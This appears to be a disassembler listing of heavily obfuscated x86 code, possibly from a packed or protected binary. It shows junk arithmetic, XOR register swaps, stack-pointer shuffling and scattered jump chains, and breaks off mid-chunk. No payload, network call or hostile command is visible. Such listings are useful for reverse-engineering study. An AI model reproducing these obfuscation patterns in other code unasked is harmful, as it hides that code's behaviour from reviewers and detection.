loc_59BF9E: ; CODE XREF: sub_5A63DC-1130j ; sub_5A5330+5F46j push 6FC1h mov [esp+0Ch+var_C], eax mov eax, 41B96D0Bh add eax, 0FFFFFFFFh add eax, 264D433Bh push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5A57BC ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5648 loc_59BFC7: ; CODE XREF: sub_5A5648-DFj sub eax, 0E894D126h add edx, eax mov eax, [esp+8+var_8] jmp sub_5A68A5 ; END OF FUNCTION CHUNK FOR sub_5A5648 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59BFD6: ; CODE XREF: sub_5A79BE-237Bj xchg ecx, ebx pop ecx add ebx, 0FFFFFFFFh shr ebx, 2 jmp loc_5A2FE8 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_59BFE7: ; CODE XREF: sub_5A3B60-5A68j pop esi jmp loc_5A18E2 ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6F9C loc_59BFED: ; CODE XREF: sub_5A6F9C-297Dj pop ecx pop [esp+8+var_8] pop esp xor ebx, eax push dword ptr [eax] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A6F9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAE5E loc_59BFFB: ; CODE XREF: sub_5AAE5E+28EEj mov [esp+0], eax push ecx jmp loc_5A6B17 ; END OF FUNCTION CHUNK FOR sub_5AAE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A35F6 loc_59C004: ; CODE XREF: sub_5A35F6+C521j ja loc_59F12E jmp loc_5AAD00 ; END OF FUNCTION CHUNK FOR sub_5A35F6 ; --------------------------------------------------------------------------- mov esi, 75B62E55h sub eax, esi pop esi pop edi ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_59C018: ; CODE XREF: sub_5AB08D+5Aj pop edi shl eax, 7 jmp loc_59DA0F ; END OF FUNCTION CHUNK FOR sub_5AB08D ; --------------------------------------------------------------------------- loc_59C021: ; CODE XREF: sdfs____:005991D7j xor ah, 36h mov bh, ah jmp loc_59FD62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59C02B: ; CODE XREF: sub_5A6BBC-9C6j sub edi, 2C231ADFh add edi, eax add edi, 2C231ADFh push [esp+4+var_4] push [esp+8+var_8] mov eax, [esp+0Ch+var_C] jmp sub_5A96D8 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59C047: ; CODE XREF: sub_5A0AA2+1780j mov [esp+0], ebp push edx sub esp, 4 mov [esp+8+var_8], ecx push 21A5h mov [esp+0Ch+var_C], esi jmp loc_59E2DA ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C061: ; CODE XREF: sub_5992DA+FCF2j add ebx, eax push ecx mov ecx, 0EDE25C2h jmp loc_5A4F84 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_59C06E: ; CODE XREF: sub_5AD993-D828j pop ebp xor ebx, eax mov eax, [esp-14h+arg_10] add esp, 4 jmp loc_5AF145 ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59961A loc_59C07C: ; CODE XREF: sub_59961A+2Aj sub esi, 54DF06B5h jmp loc_59A2AA ; END OF FUNCTION CHUNK FOR sub_59961A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C087: ; CODE XREF: sub_5AA2D1+4335j pop esp and byte ptr [esp-10h+arg_C], al pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_59C091: ; CODE XREF: sub_5A77D5-5636j add ebx, ebp pop ebp xor ebx, edi xor edi, ebx xor ebx, edi dec edi xchg edi, ebx jmp loc_5AAA9A ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A986 loc_59C0B0: ; CODE XREF: sub_59A986+8D1j and edx, 4C1E2CB3h push esi mov esi, 69FC059Fh and esi, 2B2328B8h and esi, 785E5E3Fh xor esi, 9E62F05h add esi, 0ED8DEADDh xor edx, esi pop esi add edx, 0DAF2F60Ah add edi, edx pop edx add edi, 9614663h add edi, 32F61254h jmp loc_59D76E ; END OF FUNCTION CHUNK FOR sub_59A986 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ACB83 loc_59C0F1: ; CODE XREF: sub_5ACB83+Ej add ebx, 4 xchg ebx, [esp+4+var_4] pop esp jmp sub_5A54BA ; END OF FUNCTION CHUNK FOR sub_5ACB83 ; --------------------------------------------------------------------------- loc_59C0FD: ; CODE XREF: sdfs____:005ABD55j mov [esp], ebx mov bh, 3Fh xor bh, 5 and bh, 6Fh and bh, 8Eh jnz loc_5ACC06 push eax mov al, 85h sub al, 47h sub al, 0CEh and bh, al pop eax add bh, 0DAh mov cl, cl ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_59C120: ; CODE XREF: sub_5AB622-1FCEj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB82 loc_59C125: ; CODE XREF: sub_59DB82+C178j xor ecx, ebx pop ebx add eax, ecx jmp loc_5A8FF4 ; END OF FUNCTION CHUNK FOR sub_59DB82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_59C12F: ; CODE XREF: sub_5A63DC+99CCj pop esp mov edx, ebp pop ebp sub [esp+8+var_4], 3A6B28B0h add [esp+8+var_4], edx push eax mov eax, 3A6B28B0h add [esp+0Ch+var_4], 4BED4A40h jmp loc_5AD99E ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C152: ; CODE XREF: sub_5AA2D1-38CBj pop edx push edx mov edx, 1F3D019Ah jmp loc_5AAC57 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59C15E: ; CODE XREF: sub_5A0FFF-651Fj ; sub_5AF294-33D7j xor bh, dl pop edx mov al, bh pop ebx shl al, 8 js loc_59FFF9 xor al, 0B4h jg loc_5AA82F inc al jns loc_59FD0E push ecx mov ch, 6Eh dec ch neg ch shr ch, 2 add ch, 44h sub al, ch pop ecx sub bl, al pop ax movzx eax, al jmp loc_5A9F12 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- loc_59C199: ; CODE XREF: sdfs____:005A756Cj jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_59C19E: ; CODE XREF: sub_5AAB66-6EC9j mov [esp+8+var_8], esp add [esp+8+var_8], 4 mov esi, [esp+8+var_8] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0Ch+var_C] jmp loc_59C4AA ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A54BA loc_59C1BF: ; CODE XREF: sub_5A54BA+Aj add esp, 4 push edi jmp loc_5A5204 ; END OF FUNCTION CHUNK FOR sub_5A54BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59C1CB: ; CODE XREF: sub_59D6B8:loc_5A8D14j neg ebx js loc_5A7E28 add ebx, 0FDAF188h jmp loc_59E77C ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C1DE: ; CODE XREF: sub_5AA2D1+2447j sub esi, 8084293h jmp loc_5A49FE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59C1E9 proc near ; CODE XREF: sub_5AA2D1+28ADj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059AEE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059B3AE SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A135A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A8DCE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A8FE1 SIZE 0000000B BYTES push ebx mov ebx, esp push esi mov esi, 4CDA1EAAh jmp loc_5A8DCE sub_59C1E9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C1F7: ; CODE XREF: sub_5992DA+9F72j sub edx, 0A463CAEh jmp loc_5AB75B ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59C202: ; CODE XREF: sub_59C979+2B39j pop eax add edi, 410E27B6h jmp loc_5A5393 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_59C20E: ; CODE XREF: sub_5AB622-121D9j shr esi, 6 push edx mov edx, 6D91443Ah add esi, edx pop edx jmp loc_5AFC0A ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C21F: ; CODE XREF: sub_5992DA+116ECj jmp loc_5AA006 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C95F loc_59C224: ; CODE XREF: sub_59C95F+1j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp jmp loc_5A97A7 ; END OF FUNCTION CHUNK FOR sub_59C95F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C23B: ; CODE XREF: sub_5AA2D1-742j ; sub_5AA2D1+372Fj add esp, 2 jmp loc_5A216C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5735 loc_59C246: ; CODE XREF: sub_5A5735+5BDj push esi push ecx push 5DF47BFEh jmp loc_59ACB7 ; END OF FUNCTION CHUNK FOR sub_5A5735 ; --------------------------------------------------------------------------- loc_59C252: ; CODE XREF: sdfs____:005A4E42j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_5AC4C4 ; --------------------------------------------------------------------------- loc_59C272: ; CODE XREF: sdfs____:005997F8j push eax push 19856F1Dh pop eax jmp loc_5AE2BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A577C loc_59C27E: ; CODE XREF: sub_5A577C-BD68j or esi, 44F251ADh jo loc_5ABF7F sub esi, 17DD1A5Ch mov ebp, esi pop esi jmp loc_5A52E9 ; END OF FUNCTION CHUNK FOR sub_5A577C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_59C298: ; CODE XREF: sub_5A8215-DA99j add esp, 4 add edx, 4 jmp loc_5AA8D1 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; =============== S U B R O U T I N E ======================================= sub_59C2A6 proc near ; CODE XREF: sub_5A21A4+198Dj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A166C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A86BA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AA630 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AB48E SIZE 00000013 BYTES sub esp, 4 jmp loc_5AB48E sub_59C2A6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0266 loc_59C2B1: ; CODE XREF: sub_5B0266-10E16j mov eax, esp jmp loc_5A48AC ; END OF FUNCTION CHUNK FOR sub_5B0266 ; =============== S U B R O U T I N E ======================================= sub_59C2B8 proc near ; CODE XREF: sub_59B196+B56Fj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059AD2B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059B90A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059EDA3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A01C9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AF985 SIZE 0000000E BYTES push ebx mov ebx, 15FD5D39h add ebx, 6BD80B94h jbe loc_59B90A sub ebx, 56CB2541h sub ebx, 0C231FFB7h jmp loc_5AF985 sub_59C2B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_59C2DB: ; CODE XREF: sub_59993B+F159j add edx, 4 add edx, 4 xchg edx, [esp+10h+var_10] pop esp push edx mov edx, esp add edx, 4 jmp loc_59A756 ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C2F9: ; CODE XREF: sub_5992DA+F0Dj add edi, 4 add edi, 4 xor edi, [esp+28h+var_2A+2] jmp loc_59F0EB ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C30D: ; CODE XREF: sub_5AA2D1-4692j push esp pop [esp-0Ch+arg_8] add [esp-10h+arg_C], 4 jmp loc_5A0ABD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABFD8 loc_59C31D: ; CODE XREF: sub_5ABFD8-AEFAj xchg esi, [esp+4+var_4] jmp loc_5A2BCC ; END OF FUNCTION CHUNK FOR sub_5ABFD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59C325: ; CODE XREF: sub_5A477C+67Bj shl edx, 6 jnp loc_59DAF8 dec edx and edx, 17FB4805h jo sub_5A5648 add edx, 0FE132BF2h jmp loc_5AF3E5 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_59C346: ; CODE XREF: sub_5A7BA0-B451j jbe loc_599FDF or eax, 112D52A3h jz loc_5A1FA5 shl eax, 8 jns loc_5A4BB2 jmp loc_5AB063 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59C365: ; CODE XREF: sub_59F02F+A38Fj mov ecx, esi pop esi sub edi, ecx mov ecx, [esp+0Ch+var_C] add esp, 4 jmp sub_5A2789 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_59C378: ; CODE XREF: sub_5AF2D9+870j push eax mov eax, 12552660h add ecx, eax jmp loc_5A0D5B ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C385: ; CODE XREF: sub_5AA2D1-CD7Dj pop ebx jmp loc_5A020E ; --------------------------------------------------------------------------- loc_59C38B: ; CODE XREF: sub_5AA2D1+5B27j push edx mov edx, 375B1F80h add eax, edx jmp loc_5AFFC7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_59C398: ; CODE XREF: sub_59FC02+FDE7j mov ebp, 308E2D0Dh jmp loc_59F4F5 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_59C3A2: ; CODE XREF: sub_5A9EBF-79DDj pop ebp xor edx, eax jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59C3AA: ; CODE XREF: sub_59A26C+3B24j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] mov [esp-0Ch+arg_8], edx mov edx, 2 jmp loc_5A25E7 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_59E483 ; --------------------------------------------------------------------------- lodsb push small 45B2h jmp loc_5A3704 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_59C3DF: ; CODE XREF: sub_5B0377-8B00j mov [esp+14h+var_14], ebx mov ebx, 478F44CCh jmp loc_599862 ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C3EC: ; CODE XREF: sub_5AA2D1-7574j ; sub_5A0879+D482j sub eax, 41007E01h sub eax, ebp add eax, 41007E01h pop ebp or eax, 63446671h dec eax not eax and eax, 65512C46h sub eax, 4010802h push esi mov esi, esp add esi, 4 jmp loc_5992B5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A6F loc_59C419: ; CODE XREF: sub_599A6F+7j mov [esp+4+var_4], ebx mov bh, 0E3h push small 2B6Ah mov [esp+6+var_6], dx mov dl, 8 sub bh, dl jmp loc_5A3D81 ; END OF FUNCTION CHUNK FOR sub_599A6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C42F: ; CODE XREF: sub_5AA2D1-1E78j jmp loc_5A07E3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_59C434: ; CODE XREF: sub_599D0E+9E0Cj sub bl, cl jmp loc_59A262 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_59C43B: ; CODE XREF: sub_5A917C+3EE8j add eax, 4 xchg eax, [esp+10h+var_10] jmp loc_59D842 ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C446: ; CODE XREF: sub_5AA2D1-616Cj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-0Ch+arg_8] pop esp loc_59C459: ; CODE XREF: sub_59C979+11E3j push 3C06h mov [esp-0Ch+arg_8], ebx push 7F7Bh mov [esp-8+arg_4], ecx push esp jmp loc_5A264A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABFD8 loc_59C46F: ; CODE XREF: sub_5ABFD8-9400j push 2839h mov [esp+8+var_8], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] pop esp pop [esp+4+var_4] push dword ptr [esp+0] pop ecx add esp, 4 xor eax, ecx xor ecx, eax xor eax, ecx jmp loc_59B869 ; END OF FUNCTION CHUNK FOR sub_5ABFD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C49B: ; CODE XREF: sub_5AA2D1-860Aj or ch, 0E7h jmp loc_5A06A4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_59C4A3: ; CODE XREF: sub_5A9EC5-FFBEj mov eax, esp jmp loc_59E628 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_59C4AA: ; CODE XREF: sub_5AAB66-E9ACj pop esp jmp loc_5A5EF4 ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C4B0: ; CODE XREF: sub_5AA2D1+5D67j sub ebx, 622A059Ch add ebx, eax push edi mov edi, 5E212B37h jmp loc_5A840B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59C4C3: ; CODE XREF: sub_59C979+4BE1j ; sub_5AA2D1:loc_5AB20Dj push edx mov edx, 53D922DAh and edx, 7C8F69B1h jmp loc_5AF466 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_59C4D4: ; CODE XREF: sub_5A118F+88DEj push 0D36h mov [esp+4+var_4], ebp push edi jmp loc_5A1E1F ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59C4E2: ; CODE XREF: sub_59D6B8:loc_5A8ACEj sub ebp, 868C349Ah add ebp, 66154521h jmp loc_5A0C48 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_59C4F3: ; CODE XREF: sub_599D0E-A76j xchg dl, al add al, 2Ch jmp loc_5AD79B ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_59C4FC: ; CODE XREF: sub_5A913B-1A6Dj add edx, 236926B1h sub edx, 417C916Ah sub esi, edx pop edx xchg esi, [esp+0] pop esp mov [esp-12h+arg_C+2], edi push 5475h mov [esp+0], ecx mov ecx, 2C9B75E0h push esi jmp loc_5A2BBC ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C525: ; CODE XREF: sdfs____:005AD574j ; sub_5992DA+16651j xor esi, [esp+28h+var_2A+2] mov esp, [esp+28h+var_2A+2] xor edi, [esp+28h+var_2A+2] xor [esp+28h+var_2A+2], edi xor edi, [esp+28h+var_2A+2] mov esp, [esp+28h+var_2A+2] jmp loc_5996C5 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_59C53C: ; CODE XREF: sdfs____:0059A044j xchg ebx, [esp] pop esp mov [esp], edi jmp loc_5AC63E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59C548: ; CODE XREF: sub_5A0FFF+3F4Cj mov esi, esp add esi, 4 add esi, 4 jmp loc_5A20BE ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BE17 loc_59C55B: ; CODE XREF: sub_59BE17+Bj add ecx, 38701923h jmp loc_59DB10 ; END OF FUNCTION CHUNK FOR sub_59BE17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_59C566: ; CODE XREF: sub_59E94B+2AD7j pop ecx jmp loc_59EDEA ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_59C56C: ; CODE XREF: sub_59D4FD+C41Cj mov edi, esi jmp loc_5A2A52 ; END OF FUNCTION CHUNK FOR sub_59D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59C573: ; CODE XREF: sub_5A477C-5EE0j jmp loc_5A6A7E ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- loc_59C578: ; CODE XREF: sdfs____:005A1657j pop edx jmp loc_5AE255 ; --------------------------------------------------------------------------- loc_59C57E: ; CODE XREF: sdfs____:005A7E23j push 5FA277C5h pop esi or esi, 4E0C24EDh and esi, 46AC7601h jp loc_5A1DB4 shl esi, 1 jz loc_5994D5 sub esi, 8D58EBFEh push edi mov edi, esi push edi mov ebp, [esp] add esp, 4 pop edi pop esi add [esp+4], ebp pop ebp mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_5A1642 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C5CF: ; CODE XREF: sub_5AA2D1-CC93j mov [esp+0], ebx push dword ptr [esp+0] mov eax, [esp+4+var_4] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+8+var_8] mov esp, [esp+8+var_8] push edi push esp pop edi push edx mov edx, 4 add edi, 6FB829AAh add edi, edx sub edi, 6FB829AAh pop edx jmp loc_59BB34 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59C607: ; CODE XREF: sub_5A5EFF+7BE3j add eax, 4 add eax, 4 xchg eax, [esp+4+var_4] pop esp push edi push 7B6Ch mov [esp+8+var_8], ecx mov ecx, 30B23F77h mov edi, ecx pop ecx or edi, 2D762DDDh neg edi jmp loc_59D397 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2F58 loc_59C633: ; CODE XREF: sub_5A2F58-2647j mov [esp+6+var_6], dx mov dl, 0 jmp loc_5A3780 ; END OF FUNCTION CHUNK FOR sub_5A2F58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EB4 loc_59C63E: ; CODE XREF: sub_5A9EB4-4921j xor [esp+4+var_4], esi jmp loc_59E902 ; END OF FUNCTION CHUNK FOR sub_5A9EB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_59C646: ; CODE XREF: sub_5ADD33-B677j push ecx mov ecx, 7DAC73D6h sub esi, ecx pop ecx add esi, ecx jmp loc_5A3975 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; =============== S U B R O U T I N E ======================================= sub_59C656 proc near ; CODE XREF: sub_59D37E-1DE4j ; FUNCTION CHUNK AT 005A9C4E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A9DEA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AD87A SIZE 0000000E BYTES push ebp mov ebp, 0ADD75BBh and ebp, 2070761Eh jle loc_5A9DEA jmp loc_5AD87A sub_59C656 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_59C66D: ; CODE XREF: sub_5A3C19+A7CAj mov edi, 65441379h and edi, 7A823A64h xor edi, 47FE578Eh add edi, 0D801BA16h add ecx, edi push [esp-8+arg_4] jmp loc_5A33F2 ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C68E: ; CODE XREF: sub_5992DA+D255j push eax mov eax, 33522446h xor eax, 7F065D27h or eax, 137455A2h jmp loc_59D19E ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_59C6A3: ; CODE XREF: sub_5A72CB:loc_5A2183j sub ebp, 0C83D6047h mov eax, ebp jmp loc_5AA984 ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_59C6B0: ; CODE XREF: sub_5A118F+592j mov word ptr [esp+8+var_8], dx sub esp, 4 jmp loc_5AE691 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C6BF: ; CODE XREF: sub_59F1C3+1D81j ; sub_5996E4+C025j ... push 0A29h jmp loc_5ACA7D ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59C6C9: ; CODE XREF: sub_59A26C+12676j xor eax, [esp-0Ch+arg_8] jmp loc_5AF528 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_59C6D1: ; CODE XREF: sub_5A63DC-D1E9j pop ebx add ecx, 39DA0680h push [esp+8+var_8] pop eax add esp, 4 xor ecx, [esp+4+var_4] jmp loc_5AA257 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59C6E7: ; CODE XREF: sub_5AA2D1-BD50j xchg esi, [esp+0Ch+var_C] pop esp inc ebp jz loc_59CA78 inc ebp shr ebp, 8 jmp loc_5AC4A2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_59C6FB: ; CODE XREF: sub_5A9EC5+5B9Ej sub al, 0F2h add al, bl jmp loc_5A5510 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59C704: ; CODE XREF: sub_5992DA+15B83j add esi, 4 